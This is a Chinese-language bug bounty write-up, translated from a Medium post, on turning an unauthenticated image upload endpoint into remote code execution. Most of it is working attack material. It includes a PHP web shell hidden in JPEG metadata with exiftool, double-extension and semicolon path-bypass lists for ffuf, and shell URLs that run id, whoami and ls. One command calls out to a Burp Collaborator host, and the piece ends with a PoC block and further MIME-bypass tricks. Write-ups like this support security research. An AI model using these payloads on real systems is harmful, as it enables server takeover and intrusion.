白帽故事 · 2025年8月8日 0

一则图片上传到 GetShell 的故事

file

一个奇怪的上传处

通过扫描,成功发现一处端点:
subfinder -d target.com | httpx -status-code -title -tech

https://media-upload.moneyshmash.com/api/v2/upload/image

该端点有一个 Content-Type: multipart/form-data 和听起来很诱人的 Swagger 文档:

{
  "file": "(binary)"
}

一个直接能够图片上传的端点,无需认证,无 CSRF。

测试过滤

白帽小哥起初并没有抱太大期望,只是上传了基本的 JPG、PNG,为了好玩还上传了一个 .php 文件。

不出意外,PHP 被拒绝,但 JPG 却成功了,于是小哥又上传了 shell.php.jpg ,居然也成功了。

curl -X POST https://media-upload.moneyshmash.com/api/v2/upload/image \
-F "[email protected]" \
-H "Content-Type: multipart/form-data"

图片被存储在 S3 存储桶中,如下所示:

https://cdn.moneyshmash.com/uploads/images/2025/08/shell.php.jpg

多语言文件

白帽小哥使用 ExifTool 将 PHP 代码注入到元数据中:

exiftool -Comment='<?php system($_GET["cmd"]); ?>' shell.jpg
mv shell.jpg shell.php.jpg

再次上传,依然成功,然后检查是否有任何后端服务将其解析为 PHP,尝试:

https://cdn.moneyshmash.com/uploads/images/2025/08/shell.php.jpg?cmd=id

什么也没发生,但一些后端系统(尤其是通过配置不当的 Nginx 代理时)可能会以不同的方式处理文件。

是时候进行深度测试了!

RCE 网关

使用FFUF:

ffuf -u https://cdn.moneyshmash.com/FUZZ -w shells.txt

其中 shells.txt 字典包含了诸如:

uploads/images/2025/08/shell.php
uploads/images/2025/08/shell.php/.jpg
uploads/images/2025/08/shell.php.jpg%00
uploads/images/2025/08/.shell.php.jpg
uploads/images/2025/08/shell.php;.jpg

最终发现 shell.php;.jpg 将文件成功渲染成了 PHP。

https://cdn.moneyshmash.com/uploads/images/2025/08/shell.php;.jpg?cmd=whoami

响应:

www-data

接着运行:

https://cdn.moneyshmash.com/uploads/images/2025/08/shell.php;.jpg?cmd=curl -X POST -d "Hit RCE" myburpcollab.server

成功!

PoC

# Create a polyglot file
<?php system($_GET['cmd']); ?>
# Save as: shell.php.jpg
# Use exiftool to hide it inside image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' clean.jpg
mv clean.jpg shell.php.jpg
# Upload using cURL
curl -X POST https://media-upload.moneyshmash.com/api/v2/upload/image \
-F "[email protected]" \
-H "Content-Type: multipart/form-data"
# Access via misconfigured backend
https://cdn.moneyshmash.com/uploads/images/2025/08/shell.php;.jpg?cmd=ls

你可以尝试的额外技巧

  • 使用图骗标题中的 .phar 扩展名技巧
  • 尝试使用 URL 编码的双重扩展名( %00 ; .
  • 使用 Content-Type: image/jpeg 标头绕过 MIME 检查,哪怕是发送 PHP
  • 使用 magic bytes 来伪造图像格式(例如带有嵌入式 PHP 的 JPEG 标头)

希望你能有所收获~

原文:https://medium.com/@iski/picture-perfect-exploit-how-image-uploads-turned-into-shell-access-473659d49020